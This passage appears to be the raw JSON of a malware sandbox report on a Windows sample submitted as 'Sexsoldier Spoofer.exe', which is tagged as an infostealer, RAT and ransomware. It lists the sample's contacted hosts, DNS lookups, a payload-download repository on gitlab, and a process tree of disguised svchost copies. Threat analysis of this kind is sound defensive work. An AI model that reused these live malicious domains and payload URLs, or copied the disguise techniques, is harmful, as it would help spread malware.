fc2e2fa912e77ef64312622952babb7d"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:fa0e3fda7926d3b8e68dc1a556a9d1722f28d883ec2f37498f5348cd1233618e"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:f96c3803a5fcd291a9ebac8b857aaad1cf6fe51c78c084b0b2e3e2f57e16ad11"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:eaeb297ba56d04bb16e5fa5660eb74182f6befcc2be87e9c65b24a14c0c60e03"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:174784f39ea776fafef09876551c076d871f8a8b0d25b9856f71925cadaddd6f"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:138d4e6fc0b79660d82f869348e66e7a77a64c399c2f4630e2d14ac76213091d"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:84de4de77e381ad84d3a7fbcb5d722800515d3593143b4c69978e2bab090bf72"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:f1f0bc77374d27b4e6cb64415bb163fd0a8667eeccc3fd6c9e5d1c0aa46258b3"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:e2a917245b738b1427fcdad8859981e9d0061c80e4183f385563d85c36df41c9"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:9d9fb9585162bccf87c6e38c2b8adb2a9d7d6860bd9dd5364293e78e14a01efb"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:82ceef7cf366eb31f852b0a41d283d124d0dbaea611987873bcd5149c5da8a91"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:4ea1118d720bca195eec394f7dc56d15f55729b53f56b8889a3588f566017286"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:8bbf3007e9ee5bb35296d7ca6310ee4cae2cf928847abaffd3453429174224fe"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:68aa940b43ca4f7068ddc873eec50ec9efe076e503c458938e3909e8d616428d"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:bd026799d0d8c970bb24b71d99afffab3461ac55e4258a5909d0dcf9afa96fc6"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:b9240ff444887f98dcf9e30b18fb3fc3c5dffabe502ca436f39e69dabb0cb266"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:30017b1665d8956b48cdca1e707357a21d49eb22bab96f51b345008d4c144b48"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:4d55aeaff7d7b9e45ac666e2ba73a0c2728078f46917621f6e47c77c0ee1480b"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:3688a3da9eefc65824f6dc150080ab6199364284cf3a3976d9aa80d7cf5963ad"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:baceeaa0c2dcad8c8bc837f73b283cc333e71445e8e23fc109c5a257f858203e"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:60b8fff7ee452949ba005b378b75031ce5e4e0aa386767448f0cbd7d45a2c066"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:ec8eeaeaeffa5ffc6ab73d738b2baf2dc8bdf8435f781c1947efd3adeccae799"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:e532eb3824b085aa6d449f2b6bcb1dd6e157dbd7be187f5e67a9ec013518e1d4"},{"edge_kind":"extracted","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"File:490ecb3b6f1397b045626f26c44b858e96a842bfd162de12fee383aaea1998c6"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":35,"spawned_processes_count":35,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":88,"imported_dlls_count":169,"dropped_files_count":0,"extracted_files_count":118,"files_written_count":154,"files_deleted_count":0,"registry_keys_created_count":66,"registry_keys_modified_count":0,"registry_keys_deleted_count":6,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":72,"embedded_ips_count":0,"embedded_domains_count":4,"embedded_urls_count":0,"contacted_hosts_count":13,"dns_resolutions_count":13,"contacted_urls_count":14,"http_requests_count":14},"behavior_tags":["salatstealer","criminal","informationstealer","rat","ransomware","infostealer","evasive","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"sandbox_reports":[{"id":"6ab41a51c98eee8ef101e61c","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Adware.Lazy","contacted_countries":["AUT","USA"],"submit_name":"Sexsoldier Spoofer.exe","analysis_start_time":"2026-09-23T18:28:35+00:00","indicators_count":{"informative":347,"suspicious":114,"malicious":24},"tags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"1.1.1.1","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"104.16.248.249","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"152.53.49.102","port":443,"protocol":"TCP","country":"Austria","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"172.65.251.78","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"52.123.225.104","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"52.123.251.207","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"13.32.241.16","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"151.101.193.44","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"172.64.146.215","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"68.67.179.164","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"192.178.142.132","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"150.171.30.11","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"address":"23.38.111.110","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"dns_resolutions":[{"domain":"dns.google","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"sa1atik.cn","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"gitlab.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"cloudflare-dns.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"clients2.googleusercontent.com","address":"192.178.142.132","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"deff.nelreports.net","address":"23.38.111.110","ttl":455,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"edge-consumer-static.azureedge.net","address":"150.171.109.74","ttl":620,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"ib.adnxs.com","address":"68.67.179.164","ttl":14594,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"m.adnxs.com","address":"68.67.179.164","ttl":20185,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"px.ads.linkedin.com","address":"172.64.146.215","ttl":74,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"r.msftstatic.com","address":"150.171.29.10","ttl":30,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"sb.scorecardresearch.com","address":"13.32.241.16","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"domain":"trc.taboola.com","address":"151.101.193.44","ttl":16,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"http_requests":[{"host":"sa1atik.cn","host_ip":"152.53.49.102:443","url":"/sa1at/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 88\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/7z.dll","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1\nHost: gitlab.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/users/sign_in","method":"GET","response_code":"403","response_phrase":"Forbidden","header":"GET /users/sign_in HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/7z.exe","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/MSTSCLib.dll","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/ffmpeg.exe","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"deff.nelreports.net","host_ip":"23.38.111.110:443","url":"/api/report?cat=msn","method":"OPTIONS","response_code":"200","response_phrase":"OK","header":"OPTIONS /api/report?cat=msn HTTP/1.1\nHost: deff.nelreports.net\nConnection: keep-alive\nOrigin: https://img-s-msn-com.akamaized.net\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: content-type\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"trc.taboola.com","host_ip":"151.101.193.44:443","url":"/sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2\nHost: trc.taboola.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: none\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"px.ads.linkedin.com","host_ip":"172.64.146.215:443","url":"/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent=","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2\nHost: px.ads.linkedin.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: bcookie=\"v=2&1391f723-91e0-4064-8cb8-08df8de6ce67\"\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"m.adnxs.com","host_ip":"68.67.179.164:443","url":"/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D","method":"GET","response_code":"307","response_phrase":"Temporary Redirect","header":"GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2\nHost: m.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"m.adnxs.com","host_ip":"68.67.179.164:443","url":"/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2\nHost: m.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: uuid2=1985145131094649822\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"m.adnxs.com","host_ip":"68.67.179.164:443","url":"/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D HTTP/2\nHost: m.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: anj=dTM7k!M4/8CxrEQF']wIg2In>ts*e/!]tbP6j2F-XstGt!@Dn-$r*+/\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"host":"ib.adnxs.com","host_ip":"68.67.179.164:443","url":"/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2\nHost: ib.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: anj=dTM7k!M4/8CxrEQF']wIg2In>ts*e/!]tbP6j2F-XstGt!@Dn-$r*+/\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"embedded_domains":[{"value":"dns.google","sources":[{"report_type":"qsp","report_id":""}]},{"value":"sa1atik.cn","sources":[{"report_type":"qsp","report_id":""}]},{"value":"gitlab.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"cloudflare-dns.com","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}],"processes":[{"pid":4648,"ppid":0,"name":"SexsoldierSpoofer.exe","command_line":"","sha256":"0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","normalized_path":"C:\\SexsoldierSpoofer.exe","uid":"00000000-00004648","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":4224,"ppid":4648,"name":"conhost.exe","command_line":"","sha256":"913792a7cec3a062742f3390d7941a7e95aeeb7e1537e4a52590049d54c5c5e8","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\conhost.exe","parent_uid":"00000000-00004648","uid":"00000000-00004224"},{"pid":3232,"ppid":4224,"name":"svchost.exe","command_line":"","sha256":"913792a7cec3a062742f3390d7941a7e95aeeb7e1537e4a52590049d54c5c5e8","normalized_path":"%APPDATA%\\SystemData\\svchost.exe","parent_uid":"00000000-00004224","uid":"00000000-00003232"},{"pid":3088,"ppid":3232,"name":"svchost.exe","command_line":"","sha256":"14a0b7d57f22378472a4e1d20fc50d38db5dab72d46007b472d466049181ab0b","normalized_path":"%TEMP%\\svchost.exe","parent_uid":"00000000-00003232","uid":"00000000-00003088"},{"pid":7060,"ppid":3088,"name":"MicrosoftEdgeWebview2Setup.exe","command_line":"/silent /install","sha256":"0223fa1e8d5bd5e4344fb8734e60d088e79f262c0a24444d01f240bc996f04e5","normalized_path":"%TEMP%\\MicrosoftEdgeWebview2Setup.exe","parent_uid":"00000000-00003088","uid":"00000000-00007060"},{"pid":7728,"ppid":7060,"name":"MicrosoftEdgeUpdate.exe","command_line":"/silent /install \"appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers\"","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdate.exe","parent_uid":"00000000-00007060","uid":"00000000-00007728"},{"pid":7992,"ppid":7728,"name":"MicrosoftEdgeUpdate.exe","command_line":"/regsvc","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","parent_uid":"00000000-00007728","uid":"00000000-00007992"},{"pid":5096,"ppid":7728,"name":"MicrosoftEdgeUpdate.exe","command_line":"/regserver","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","parent_uid":"00000000-00007728","uid":"00000000-00005096"},{"pid":6152,"ppid":5096,"name":"MicrosoftEdgeUpdateComRegisterShell64.exe","command_line":"","sha256":"0742b71bf052d741ed23c36dbcf226451e0b92bf07a607b8dcebb9b272e13678","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.251.5\\MicrosoftEdgeUpdateComRegisterShell64.exe","parent_uid":"00000000-00005096","uid":"00000000-00006152"},{"pid":1176,"ppid":5096,"name":"MicrosoftEdgeUpdateComRegisterShell64.exe","command_line":"","sha256":"0742b71bf052d741ed23c36dbcf226451e0b92bf07a607b8dcebb9b272e13678","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.251.5\\MicrosoftEdgeUpdateComRegisterShell64.exe","parent_uid":"00000000-00005096","uid":"00000000-00001176"},{"pid":5284,"ppid":5096,"name":"MicrosoftEdgeUpdateComRegisterShell64.exe","command_line":"","sha256":"0742b71bf052d741ed23c36dbcf226451e0b92bf07a607b8dcebb9b272e13678","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.251.5\\MicrosoftEdgeUpdateComRegisterShell64.exe","parent_uid":"00000000-00005096","uid":"00000000-00005284"},{"pid":7636,"ppid":7728,"name":"MicrosoftEdgeUpdate.exe","command_line":"$79","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","parent_uid":"00000000-00007728","uid":"00000000-00007636"},{"pid":7592,"ppid":7728,"name":"MicrosoftEdgeUpdate.exe","command_line":"/handoff \"appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers\" /installsource otherinstallcmd /sessionid \"{56D8F77C-91A2-4E74-8D1B-BFB15D485F2D}\" /silent","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","parent_uid":"00000000-00007728","uid":"00000000-00007592"},{"pid":7748,"ppid":4648,"name":"RPZ-HWID.exe","command_line":"","sha256":"edfb0a2fa00819a1d3ca9718310451c40255e5c24177c0a75552c735e840bac6","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\RPZ-HWID.exe","parent_uid":"00000000-00004648","uid":"00000000-00007748"},{"pid":4952,"ppid":4648,"name":"svchost.exe","command_line":"","sha256":"e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\svchost.exe","parent_uid":"00000000-00004648","uid":"00000000-00004952"},{"pid":5500,"ppid":4952,"name":"ONENOTEM.EXE","command_line":"","sha256":"e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381","normalized_path":"%PROGRAMF